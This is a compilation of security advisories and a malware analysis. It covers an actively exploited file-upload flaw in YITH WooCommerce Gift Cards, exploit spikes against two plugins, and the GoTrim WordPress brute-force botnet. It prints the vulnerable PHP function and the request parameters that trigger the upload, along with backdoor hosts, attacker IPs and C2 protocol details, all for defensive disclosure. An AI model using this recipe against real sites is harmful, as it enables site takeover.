Special Note: We independently discovered this vulnerability in January while reviewing a vulnerability in another plugin. We followed our responsible disclosure process and reported it to the WordPress Plugin Security Team, ensured it got patched, and published it to our vulnerability database once a patch was released. After adding the vulnerability to our database, we were made aware of another unnamed security researcher who also discovered this issue and publicly disclosed details about this vulnerability five years ago without ensuring the vulnerability got patched, which does not follow standard practice. Regardless, we would like to make mention of this so the other researcher who also found the vulnerability receives credit.

If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest version of Limit Login Attempts as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2023/04/update-now-severe-vulnerability-impacting-600000-sites-patched-in-limit-login-attempts/

Wordfence Launches Free Vulnerability Database For Commercial Use – And Launches Security Portal

Today we are incredibly excited to announce that Wordfence is launching an entirely free vulnerability database API and web interface, available for commercial use by hosting companies, security organizations, threat analysts, security researchers, and the WordPress user community. This is part of a larger project known as Wordfence Intelligence Community Edition, which we are launching today.

This year at Blackhat in Las Vegas, Wordfence launched Wordfence Intelligence, an enterprise product providing organizations with data feeds derived from the attack telemetry we receive from Wordfence users. We did this with one goal in mind: to further secure the Web by enabling enterprises and network defenders with the ability to implement our threat intelligence in a way that will better secure their infrastructure and customers. Wordfence Intelligence includes malware signatures, IP threat feeds and a malware hash feed to enable enterprises to deploy our data at the network and server level.

Wordfence Intelligence Community Edition is a set of data available free for the community to use, and it includes an enterprise quality vulnerability database, and an API that provides a full up-to-date download in JSON format, completely free with no registration required. We are investing heavily in this database by growing the team, maintaining and curating the existing data, and adding new vulnerabilities as soon as they are discovered.

There is no delay on how quickly we add vulnerabilities to this free database. As soon as a vulnerability is disclosed, we add it. There is also no limitation on the use of this data, other than an attribution requirement for vulnerabilities sourced from MITRE, and an attribution requirement for our own vulnerabilities. Each vulnerability record includes the data you need to provide this attribution on your user interface.

Our hope is that hosting companies, software developers and security providers will turn this data into free and commercial security products that will improve the security of the WordPress community. By giving the data away for free, and allowing commercial use, we are acting as a catalyst for innovation in the vulnerability scanning space. Individual developers no longer have an expensive barrier to entry if they want to implement a new kind of vulnerability scanning software for the community. It is our hope that this database will foster innovation in the WordPress security space and improve the security of the WordPress community as a whole.

Wordfence Intelligence Community Edition has the stated goal of uplifting the research community and raising the profile of talented security researchers who make valuable contributions to our community, and who make us all safer. To this end, we are launching with security researcher profile pages, a security researcher leaderboard, and each vulnerability will link to the relevant researcher who discovered the vulnerability. We will also be adding the ability for researchers to edit their own profile page so that they can add links to their resume or personal website. Expect this in the coming weeks.

We will be launching web hooks in the coming weeks that will proactively and programmatically alert users and applications to the release of a new vulnerability. This provides real-time awareness of a new vulnerability, and makes the time between announcement and mitigation of a new vulnerability approach zero.

Defiant Inc and the Wordfence team are investing heavily in this vulnerability database. We are actively recruiting talented security analysts to triage inbound vulnerabilities, and we are recruiting researchers to discover new vulnerabilities in WordPress core, plugins and themes.

Yesterday evening I sat down with Chloe Chamberland, head of product for Wordfence Intelligence, in our studio in Centennial, Colorado, to chat about this exciting product that her and her team are launching today. Here is the conversation.

That concludes the executive summary portion of this post. The rest of this post is written by Chloe Chamberland who heads up the Wordfence Intelligence product. Chloe describes Wordfence Intelligence Community Edition and the vulnerability database and API in more detail.  I’d like to extend my congratulations and thanks to Chloe and her team, our security analysts who worked so hard on creating the data in this database, and continue to do so, and to our engineering team for this launch.

~Mark Maunder – Wordfence Founder & CEO.

Introducing Wordfence Intelligence Community Edition

Wordfence Intelligence Community Edition is a threat intelligence data platform which currently consists of an incredibly comprehensive database of WordPress vulnerabilities. We’ve designed this platform with vulnerability researchers, site owners, and security analysts in mind. Each vulnerability has been manually curated by our team of vulnerability analysts and has been populated using historical data from the CVE list, Google fu’ing, and many other vulnerability sources. Each vulnerability record contains details such as the CVSS score, CWE type, a description of the vulnerability, affected software components, the original researcher(s), and more.

Our goal is to provide site owners with as much information needed to effectively secure their WordPress websites while also providing security analysts and researchers the information needed to be able monitor the WordPress threat landscape so they can respond to threats in a timely manner and provide their insights back to the community.

The Wordfence Intelligence Community Edition vulnerability database currently contains over 8,000 unique vulnerability records covering nearly 10,000 vulnerabilities across WordPress core, themes, and plugins. Over the coming months we will continue to actively develop and release features that will enrich the experience of users accessing and using the platform.

We will continue to populate historical vulnerability data while also ensuring we have the most comprehensive and current vulnerability database on the market for the community to use.

Key Features of Wordfence Intelligence Community Edition

Overview of Attack Data Targeting WordPress Sites

On the dashboard of Wordfence Intelligence Community Edition, users can see insights on data related to attack volume targeting WordPress websites. This includes the total number of login attacks and exploit attempts the Wordfence Firewall has blocked, the total number of malware sightings the Wordfence Scanner and our incident response team has observed, along with the top 10 attacking IP addresses in the past 24 hours, the top 10 unique WordPress vulnerabilities being targeted in the past 24 hours, and the top 5 generic vulnerability types being targeted in the past 24 hours in addition to their attack volume. This data can be used to make more informed decisions on the threats faced by WordPress site owners for better risk mitigation. This data can also be used to enhance security research in the WordPress space.

Select Vulnerabilities Enriched with Attack Data

Select vulnerabilities in the database are enriched with data on the attack volume targeting those particular vulnerabilities in the past 24 hours. This gives unparalleled insight into the threat landscape for WordPress, providing site owners, analysts, and security researchers with current and up to date information on the most attacked WordPress vulnerabilities.

Researcher Hall of Fame & Leaderboard

All researchers credited with discoveries in our database are in our Researcher Hall of Fame with their total vulnerability count for the past 30 days and for all time. Researchers can see their all time and 30 day ranking compared to other researchers in the field. Researchers who want to be higher up on the leaderboard will need to find and responsibly disclose more vulnerabilities than their fellow researchers. We hope that this will create a friendly competition to encourage more vulnerability research that in turn makes the WordPress ecosystem more secure.

Individual Researcher Vulnerability Finds All in One Place

Each researcher has their own unique page that lists the total number of vulnerabilities they have discovered in the past 30 days and all time, along with the list of all the vulnerability finds that have been attributed to that researcher. This can be shared with anyone from prospective job employers who may want to see an individual’s previous research, to friends and family researchers may want to show off their work to. Whatever the purpose, this was designed for researchers to be able to hold all of their vulnerability discoveries in one central place.

If you’re a researcher, and your page is missing some of your vulnerability discoveries, please make sure to fill out our vulnerability submissions form here. Any vulnerability reported to us will receive a CVE ID and we will gladly assign CVE IDs to any older discoveries you may have already in our database upon request.

Wordfence Scan Results Enhanced

The Wordfence scanner will now provide a link to the Wordfence Intelligence Community Edition Vulnerability Database’s applicable record when a vulnerability has been detected on a site. This can be used to obtain more information about a vulnerability so that site owners can make informed decisions on how to proceed with remediating any given vulnerability. In most cases the solution is to update to a newer patched version, however, in cases where a plugin or theme has been closed and there is no patch available, this information will help guide decision making when assessing a site’s risk.

It takes a community.

That is why we are calling this Wordfence Intelligence Community Edition. A vast majority of the vulnerabilities in our database are from independent researchers and other organizations conducting security research on WordPress plugins, themes, and core. Without them and their dedicated work finding and responsibly disclosing vulnerabilities, there would be no database of WordPress vulnerabilities to catalog and there would not be nearly as many patches, or opportunities to secure WordPress websites, available to site owners. That’s why we will make sure finding information about vulnerabilities is as easy as possible and researchers get the credit they deserve with Wordfence Intelligence Community Edition.

As we continue to evolve this platform, we will keep this at the forefront of our minds and ensure we continue to deliver a product that will help make the WordPress ecosystem more secure and have a positive impact on the community of security researchers working to make this possible.

In return, we would like to ask the community to help us in making sure this remains the best resource for the community. If you’d like to add any additional details to our vulnerability records or have vulnerabilities you have discovered that should be added to the database, we hope that you’ll reach out to us so we can further improve the database that will remain accessible to all.

A Gift to the Community.

As part of this launch, we have made the vulnerability data feed from Wordfence Intelligence, completely free to access. The feed contains a complete dump of the vulnerabilities and related data in our database  You can find the documentation on what is included in this API and how to query it here.  You are more than welcome to implement this data in whatever way you would like commercially and personally. We hope that by making this accessible to everyone, we can create a more secure WordPress ecosystem and better platform for researchers to get the credit they deserve.

This is just the beginning. Stay tuned, and make sure you are signed up for our mailing list, for more exciting things to come!

CHECK OUT WORDFENCE INTELLIGENCE COMMUNITY EDITION NOW!

I would like to say a huge congratulations and special thank you to everyone on the Wordfence team that made Wordfence Intelligence Community Edition come to life. From our threat intelligence team processing and manually creating thousands of vulnerability records over a several month period, to our engineering and QA teams who have developed and tested this incredible platform. Without your dedicated work, we would not be able to make the online WordPress community a more secure place for all.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/wordfence-free-vulnerability-database/

PSA: YITH WooCommerce Gift Cards Premium Plugin Exploited in the Wild

The Wordfence Threat Intelligence team has been tracking exploits targeting a Critical Severity Arbitrary File Upload vulnerability in YITH WooCommerce Gift Cards Premium, a plugin with over 50,000 installations according to the vendor.

The vulnerability, reported by security researcher Dave Jong and publicly disclosed on November 22, 2022, impacts plugin versions up to and including 3.19.0 and allows unauthenticated attackers to upload executable files to WordPress sites running a vulnerable version of the plugin. This allows attackers to place a back door, obtain Remote Code Execution, and take over the site.

All Wordfence customers, including Wordfence PremiumCare, and Response customers as well as Wordfence free users, are protected against exploits targeting this vulnerability by the Wordfence firewall’s built-in file upload rules which prevent the upload of files with known dangerous extensions, files containing executable PHP code, and known malicious files.

We highly recommend updating to the latest version of the plugin, which is 3.21.0 at the time of this writing.


Description: Unauthenticated Arbitrary File Upload
Affected Plugin: Yith WooCommerce Gift Cards Premium
Plugin Slug: yith-woocommerce-gift-cards-premium
Affected Versions: <= 3.19.0
CVE IDCVE-2022-45359
CVSS Score: 9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Researcher/s: Dave Jong
Fully Patched Version: 3.20.0

We were able to reverse engineer the exploit based on attack traffic and a copy of the vulnerable plugin and are providing information on its functionality as this vulnerability is already being exploited in the wild and a patch has been available for some time.

The issue lies in the import_actions_from_settings_panel function which runs on the admin_init hook.

Since admin_init runs for any page in the /wp-admin/ directory, it is possible to trigger functions that run on admin_init as an unauthenticated attacker by sending a request to /wp-admin/admin-post.php.

Since the import_actions_from_settings_panel function also lacks a capability check and a CSRF check, it is trivial for an attacker to simply send a request containing a page parameter set to yith_woocommerce_gift_cards_panel, a ywgc_safe_submit_field parameter set to importing_gift_cards, and a payload in the file_import_csv file parameter.

Since the function also does not perform any file type checks, any file type including executable PHP files can be uploaded.

151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541publicfunctionimport_actions_from_settings_panel() {    if( ! isset( $_REQUEST['page'] ) || 'yith_woocommerce_gift_cards_panel'!= $_REQUEST['page'] || ! isset( $_REQUEST['ywgc_safe_submit_field'] ) ) {        return;    }    if( $_REQUEST['ywgc_safe_submit_field'] == 'importing_gift_cards') {        if( ! isset( $_FILES['file_import_csv'] ) || ! is_uploaded_file( $_FILES['file_import_csv']['tmp_name'] ) ) {            return;        }        $uploaddir= wp_upload_dir();        $temp_name= $_FILES['file_import_csv']['tmp_name'];        $file_name= $_FILES['file_import_csv']['name'];        if( ! move_uploaded_file( $temp_name, $uploaddir['basedir'] . '\\'. $file_name) ) {            return;        }        $this->import_from_csv( $uploaddir['basedir'] . '\\'. $file_name, get_option( 'ywgc_csv_delimitier', ';') );    }}

Cyber Observables

These attacks may appear in your logs as unexpected POST requests to wp-admin/admin-post.php from unknown IP addresses. Additionally, we have observed the following payloads which may be useful in determining whether your site has been compromised. Note that we are providing normalized hashes (hashes of the file with all extraneous whitespace removed):

kon.php/1tes.php – this file loads a copy of the “marijuana shell” file manager in memory from a remote location at shell[.]prinsh[.]com and has a normalized sha256 hash of 1a3babb9ac0a199289262b6acf680fb3185d432ed1e6b71f339074047078b28c

b.php – this file is a simple uploader with a normalized sha256 hash of 3c2c9d07da5f40a22de1c32bc8088e941cea7215cbcd6e1e901c6a3f7a6f9f19

admin.php – this file is a password-protected backdoor and has a normalized sha256 hash of 8cc74f5fa8847ba70c8691eb5fdf8b6879593459cfd2d4773251388618cac90d

Although we’ve seen attacks from more than a hundred IPs, the vast majority of attacks were from just two IP addresses:

103.138.108.15, which sent out 19604 attacks against 10936 different sites
and
188.66.0.135, which sent 1220 attacks against 928 sites.

The majority of attacks occurred the day after the vulnerability was disclosed, but have been ongoing, with another peak on December 14, 2022. As this vulnerability is trivial to exploit and provides full access to a vulnerable website we expect attacks to continue well into the future.

Recommendations

If you are running a vulnerable version of YITH WooCommerce Gift Cards Premium, that is, any version up to and including 3.19.0, we strongly recommend updating to the latest version available. While the Wordfence firewall does provide protection against malicious file uploads even for free users, attackers may still be able to cause nuisance issues by abusing the vulnerable functionality in less critical ways.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance. If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest patched version of YITH WooCommerce Gift Cards Premium as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence Community Edition leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/psa-yith-woocommerce-gift-cards-premium-plugin-exploited-in-the-wild/

Spikes in Attacks Serve as a Reminder to Update Plugins

The Wordfence Threat Intelligence team continually monitors trends in the attack data we collect. Occasionally an unusual trend will arise from this data, and we have spotted one such trend standing out over the Thanksgiving holiday in the U.S. and the first weekend in December. Attack attempts have spiked for vulnerabilities in two plugins.

The larger spikes have been from attempts to exploit an arbitrary file upload vulnerability in Kaswara Modern VC Addons <= version 3.0.1, for which a rule was added to the Wordfence firewall and available to Wordfence PremiumWordfence Care, and Wordfence Response users on April 21, 2021 and released to users of Wordfence Free on May 21, 2021. The other vulnerability is an arbitrary file upload and arbitrary file deletion vulnerability in the Adning Advertising plugin with versions <= 1.5.5, with our firewall rule being added on June 25, 2020 and made available to free users on July 25, 2020.

Kaswara and Adning exploit attempts per day

One thing that makes these spikes interesting is the fact that they are occurring over holidays and weekends. The first spike began on November 24, 2022, which was the Thanksgiving holiday in the United States. This spike lasted for three days. The second spike looked a little different, starting on Saturday, December 3, 2022, dropping on Sunday, and finishing with its peak on Monday. These spikes serve as an important reminder that malicious actors are aware that website administrators are not paying as close attention to their sites on holidays and weekends. This makes holidays and weekends a desirable time for attacks to be attempted.

During these spikes, exploit attempts have been observed against the Kaswara vulnerability on 1,969,494 websites, and on 1,075,458 sites against the Adning vulnerability. In contrast, the normal volume of sites with exploit attempts being blocked is an average of 256,700 for the Kaswara vulnerability, and 374,801 for the Adning vulnerability.

Kaswara and Adning sites comparison with spikes

The Kaswara Modern VC Addons plugin had more than 10,000 installations at the time the vulnerability was disclosed on April 21, 2021, and has since been closed without a patch being released. As long as this plugin is installed, it leaves the site vulnerable to attacks that make it possible for unauthenticated attackers upload malicious files that could ultimately lead to a full site takeover due to the fact that the ability to upload PHP files to servers hosting WordPress makes remote code execution possible. Any WordPress website administrators who are still using the plugin should immediately remove the plugin and replace it with a suitable alternative if the functionality is still required for the site, even if you are protected by the Wordfence firewall, as the plugin has not been maintained and may contain other issues. We estimate that about 8,000 WordPress users are still impacted by a vulnerable version, making them an easy target.

The Adning Advertising plugin had more than 8,000 users when our Threat Intelligence team performed our initial investigation of vulnerability on June 24, 2020. After some analysis, we found two vulnerabilities in the plugin, one that would allow an unauthenticated attacker to upload arbitrary files, also leading to easy site takeover. We also found an unauthenticated arbitrary file deletion vulnerability that could just as easily be used for complete site compromise by deleting the wp-config.php file. After we notified the plugin’s author of the vulnerabilities, they quickly worked to release a patched version within 24 hours. Any users of the Adning Advertising plugin should immediately update to the latest version, currently 1.6.3, but version 1.5.6 is the minimum version that includes the patch. We estimate that about 680 WordPress users are still impacted by a vulnerable version of this plugin.

The key takeaway from these attack attempts is to make sure your website components are kept up to date with the latest security updates. When a theme or plugin, or even the WordPress core, has an update available, it should be updated as soon as safely possible for the website. Leaving unpatched vulnerabilities on the website opens a website up to possible attack.

Cyber Observables

The following are the common observables we have logged in these exploit attempts. If any of these are observed on a website or in logs, it is an indication that one of these vulnerabilities has been exploited. The IP addresses listed are specifically from the spikes we have seen over the Thanksgiving holiday and the first weekend in December.

Kaswara

Top ten IPs
  • 40.87.107.73
  • 65.109.128.42
  • 65.21.155.174
  • 65.108.251.64
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 49.12.184.76
  • 5.75.252.228
  • 5.75.252.229
Common Uploaded Filenames

There were quite a few variations of randomly named six-letter filenames, two are referenced below, but each one observed used the .zip extension.

  • a57bze8931.zip
  • bala.zip
  • jwoqrj.zip
  • kity.zip
  • nkhnhf.zip
Top Ten User-Agent Strings
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  • Amazon CloudFront
  • Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  • Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  • Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  • Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36

Adning

Top Ten IPs
  • 65.109.128.42
  • 65.108.251.64
  • 65.21.155.174
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 5.75.252.229
  • 65.109.138.122
  • 40.87.107.73
  • 49.12.184.76
Common Uploaded Filenames

Most observed exploit attempts against the Adning plugin appeared to be nothing more than probing for the vulnerability, but in one instance the following filename was observed as a payload.

  • files
Top Ten User-Agent Strings
  • python-requests/2.28.1
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
  • python-requests/2.28.1 X-Middleton/1
  • python-requests/2.26.0
  • python-requests/2.27.1
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; @longcat) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • ALittle Client
Conclusion

In this post we discussed two vulnerabilities that have spiked over the past two weekends. Removing or updating vulnerable plugins is always the best solution, but a Web Application Firewall like the one provided by Wordfence is important to block exploit attempts and can even protect your site from attacks targeting unknown vulnerabilities. The Wordfence firewall protects all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against these vulnerabilities. Even with this protection in place, these vulnerabilities are serious as they can lead to full site takeover, and the Kaswara Modern VC Addons should be immediately removed, and the Adning Advertising plugin should immediately be updated.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/spikes-in-attacks-serve-as-a-reminder-to-update-plugins/

GoTrim: Go-based Botnet Actively Brute Forces WordPress Websites

FortiGuard Labs recently encountered a previously unreported Content Management System (CMS) scanner and brute forcer written in the Go programming language (also commonly referred to as Golang). We took a closer look at this malware because it was being described in several online forums as being installed in compromised WordPress sites, but there were no publicly available analysis reports.

  • Affected Platforms: Linux
  • Impacted Users: Any organization
  • Impact: Remote attackers gain control of the vulnerable systems
  • Severity Level: Critical

Golang brute forcers are not new. For example, we previously reported on the StealthWorker campaign in 2019. This new brute forcer is part of a new campaign we have named GoTrim because it was written in Go and uses “:::trim:::” to split data communicated to and from the C2 server.

Similar to StealthWorker, GoTrim also utilizes a bot network to perform distributed brute force attacks. The earliest sample we found was from Sep 2022. That campaign is still ongoing at the time of writing.   

This article details how this active botnet scans and compromises websites using WordPress and OpenCart. We also highlight some differences between samples collected from Sep to Nov 2022 at the end of the article.

Attack Chain

Screenshot of Figure 1: GoTrim attack chainFigure 1: GoTrim attack chain

GoTrim uses a bot network to perform distributed brute force attacks against its targets. Each bot is given a set of credentials to use to attempt to log into a long list of website targets. After a successful login, a bot client is installed into the newly compromised system. It then awaits further commands from the threat actors, thereby expanding the bot network.

GoTrim only reports credentials to the C2 server after a successful brute force attempt. We did not observe any code in GoTrim for propagating itself or deploying other malware. However, we did find PHP scripts that download and execute GoTrim bot clients. It seems likely that the threat actor is somehow abusing compromised credentials to deploy PHP scripts to infect systems with GoTrim.

Screenshot of Figure 2: PHP downloader scriptFigure 2: PHP downloader script

Typically, each script downloads the GoTrim malware from a hardcoded URL to a file in the same directory as the script itself and executes it. To cover its tracks, both the downloader script and GoTrim brute forcer are deleted from the infected system. It does not maintain persistence in the infected system.

Static Analysis

Analysis detailed in this article is based on a sample with SHA-256 hash c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3, unless stated otherwise.

GoTrim is built with Go version 1.18. As with all Go applications, all third-party libraries used in the code are statically linked to the malware, resulting in a relatively bigger file size for the executable binary. But this has the advantage of not depending on any external files to execute correctly. To solve the size issue, the malware is packed using UPX to reduce the file from 6 MB to 1.9 MB.

Another advantage of using Go is that the same source code can be cross-compiled to support different architectures and Operating Systems. Based on the source code paths in the samples, Windows was used during the development of GoTrim. However, we have only observed samples targeting 64-bit Linux in the wild.

C2 Communication

GoTrim can communicate with its Command and Control (C2) server in two ways: a client mode, where it sends HTTP POST requests to the Command and Control (C2 server), or a server mode, where it starts an HTTP server to listen for incoming POST requests. All data exchanged with the C2 is encrypted using the Advanced Encryption Standard in Galois Counter Mode (AES-GCM) with a key derived from a passphrase embedded in the malware binary.

By default, GoTrim attempts to run in server mode if the infected malware is directly connected to the Internet—that is, if the victim’s outbound or local IP address is non-private. Otherwise, it switches to client mode.

Upon execution, GoTrim creates an MD5 hash representing a unique identification for the infected machine (bot ID). This is generated from the following string containing several pieces of information delimited by the “:” character:

VICTIM_EXTERNAL_IP:HTTP_SERVER_PORT:1:OUTBOUND_IP:AES_PASSPHRASE

  • VICTIM_EXTERNAL_IP: External/public IP of the machine
  • HTTP_SERVER_PORT: HTTP server port. This is a randomly generated number between 4000 to 8000 for the HTTP server in server mode. It is always 0 for client mode.
  • Malware initialization flag: Always set to 1 by the time the bot ID is being calculated
  • OUTBOUND_IP: Outbound/local IP address of the victim machine.
  • AES_PASSPHRASE: Hardcoded string embedded into each sample. This malware later uses the SHA256 hash of this string as the AES-GCM key for encrypting its communication with the C2 server. The same AES passphrase is shared among all samples we observed.

After generating the bot ID, GoTrim creates an asynchronous Go routine (similar to multithreading) that sends a beacon request to the C2 server on both client and server modes.

The C2 request URLs change between versions, as discussed in a later section of this article. For this particular sample, the beacon request URL is “/selects?dram=1”.

In this beacon request, several pieces of victim and bot information are sent to the C2 server, as seen in Figure 3.

Screenshot of Figure 3: Screenshot of data sent to the C2 serverFigure 3: Screenshot of data sent to the C2 server

Some of the interesting fields sent in the beacon request include the following:

1. Bot ID: unique ID for the bot
2. External IP: public IP address of the victim machine
3. HTTP Server Port: randomly generated port for the HTTP server (0 in client mode)
4. Malware Initialization Flag: always set to 1 by the time this request is made
5. Outbound IP: local IP address of the victim machine
6. Status Message: The “GOOD” message is replaced by other strings that report the status of any running CMS detection or brute forcing tasks during subsequent beacon requests.
7. Status Flags: These indicate whether the malware currently has any processing tasks assigned by the C2 server and the IDs of these tasks
8. MD5 Checksum: This value is generated from parts of the above request and the hardcoded AES passphrase. It serves as a message integrity checksum.

The fields are joined together with the :::trim:::string, hence the name chosen for this campaign. The data is then encrypted using an AES-256-GCM key, the SHA-256 hash of the previously mentioned passphrase.

The server usually responds with “OK”, “404 page not found”, or “BC”, all encrypted with the same AES-GCM key. When “BC” is received, GoTrim will regenerate its bot ID and switch from server to client mode.

The first beacon request is to register a new bot (victim) to the bot network.

After each beacon request, GoTrim sleeps between a few seconds to several minutes, depending on the C2 server response and whether the malware is currently working on C2-assigned tasks before sending the next request. The malware regularly performs this beacon request to update the C2 server about the bot’s status, including successful credentials, as discussed in the brute forcing section of the article. If GoTrim fails to receive a valid response from the C2 server after 100 retries, it will terminate itself.

While the beacon requests are being sent asynchronously to update the C2 server on its status, GoTrim either sends a request to the C2 server to receive commands (client mode) or sets up an HTTP server to listen for incoming tasking requests (server mode).

Client Mode

In client mode, the malware sends a POST request to “/selects?bilert=1” to receive commands from the C2 server.

The C2 server responds with the command encrypted with the same AES-GCM key. An example of a decrypted command can be seen below in Figure 4.

Screenshot of Figure 4: Screenshot of the response containing the command and its optionsFigure 4: Screenshot of the response containing the command and its options

After splitting the data by the “:::trim:::” string, seven fields can be identified, as listed below.

1. MD5 Checksum: used for checking message integrity, e.g., 83217f8b39dccc2f9f2a0157f0236c4f
2. Command ID: This indicates the command for the current task
3. Concurrency Level: This affects how many goroutines are executed for each task
4. Command Options: This contains options for the commands, separated by 7E 6A 71 6D 70 C2 A9 (~jqmp©) bytes. They are interpreted differently depending on the command:

a. Target List: This is GZIP-compressed data, which, when decompressed, contains a list of domains that will be the target for the login attempts.
b. Command Option 1 (redacted): This option contains the username for authentication commands. Instead of using the same username for each domain, the C2 server can specify a series of bytes, like C2 A9 64, to use the domain as the username.
c. Command Option 2 (redacted): For authentication commands, this option contains the password
d. Command Option 3: Unknown option for WordPress authentication
e. Command Option 4: Option for WordPress authentication to use either POST request or XML-RPC when submitting credentials.

5. Internal Values: Numeric values that are not used by the malware itself (e.g., 42 and 255) and likely represent internal tasking IDs for the current command.    

The malware supports the following commands:

  • 1: Validate provided credentials against WordPress domains
  • 2: Validate provided credentials against Joomla! domains (currently not implemented)
  • 3: Validate provided credentials against OpenCart domains
  • 4: Validate provided credentials against Data Life Engine domains (currently not implemented)
  • 10: Detect WordPress, Joomla!, OpenCart, or Data Life Engine CMS installation on the domain
  • 11: Terminate the malware

We have observed a target list containing up to 30,000 domains in a single WordPress authentication command. Additionally, we observed that authentication commands only provide a single password to test against all the domains in the list. As mentioned above, brute forcing is likely distributed by commanding a network of infected machines to test different domains and credentials.

After the malware has completed processing a command, it sleeps for a while before sending another POST request to receive a new task from the C2 server.

Server Mode

In server mode, GoTrim starts a server on a random port between 4000 to 7999 to respond to incoming POST requests sent by the threat actor. This mode gives the threat actor a more responsive way of communicating with the bot. For instance, the status of the bots can be checked by the threat actor without waiting for the subsequent beacon request by simply sending a POST request to a specific URL handled by the bot’s HTTP server.

To issue a command to the machine, the threat actor sends a POST request to “/BOT_ID?lert=1” with the body containing the AES-256-GCM encrypted command data, similar to the response provided by the C2 server when the client requests commands (Figure 4). Server mode supports the same commands as client mode.

The threat actor can also send a request with the parameter “/BOT_ID?intval=1” to view the status of currently running tasks and whether assigned tasks have been completed.

When CPU utilization is below a certain level (75% or 90%, depending on the number of concurrent workers used for the current task), a separate goroutine is spawned to process each domain.

Botnet Commands

Detect CMS

GoTrim attempts to identify whether one of the four CMSes (WordPress, Joomla!, OpenCart, or DataLife Engine) is being used on the target website. It does this by checking for specific strings in the webpage content.

Interestingly, it only targets self-hosted WordPress websites by checking the Referer HTTP header for “wordpress.com”. As managed WordPress hosting providers, such as wordpress.com, usually implement more security measures to monitor, detect, and block brute forcing attempts than self-hosted WordPress websites, the chance of success is not worth the risk of getting discovered.

The strings used for determining the installed CMS are listed below.

WordPress

  • “wp-content/plugins/” and “wp-content/themes/”
  • “wp-content/uploads/”
  • “wp-includes/js/”
  • “/xmlrpc.php”

Joomla!

  • “generator” content=\”Joomla!” AND “/templates/”
  • “/media/system/js/mootools.js” AND “/media/system/js/caption.js”
  • “index.php?option=com_”
  • “/modules/mod_”
  • “/components/com_”

OpenCart

  • “/index.php?route=common” and “/index.php?route=information”
  • “image/cache/catalog”
  • “catalog/view/theme/”
  • “catalog/view/javascript”

DataLife Engine

  • “DataLife Engine” and “~engine/classes/js/dle_js.js”
  • “index.php?do=search&amp;”
  • “var dle_”

While GoTrim can detect websites using the four CMSes above, it currently only supports authenticating against WordPress and OpenCart websites. This indicates that this botnet is still under development.

Validate WordPress Credentials

Aside from the username provided by the C2 server, it attempts to gather more usernames by sending a GET request to “/wp-json/wp/v2/users”.

After that, it tries to log in to the WordPress website using the list of usernames and the password provided in the C2 command by sending a POST request to “/wp-login.php”. Figure 5 shows an example of the POST request for logging in.

Screenshot of Figure 5: WordPress authentication requestFigure 5: WordPress authentication request

This request causes a redirect to the admin page of the WordPress website (i.e.,/wp-admin) after a successful login. To confirm that the login and redirection were successful, it checks to see if the response contains “id=\”adminmenumain\”.

The C2 server can also specify the authentication to be performed via the WordPress XML-RPC feature, which is another way for users to programmatically interact with the CMS remotely using XML. By communicating directly with the web server’s backend, anti-bot mechanisms such as captchas that usually work when accessing the website pages could be bypassed.

After a successful login, the following information (delimited by “|”) is updated into a global status message and sent with the following request to the C2 (client mode) or in the response to incoming requests (server mode):

  • Target URL
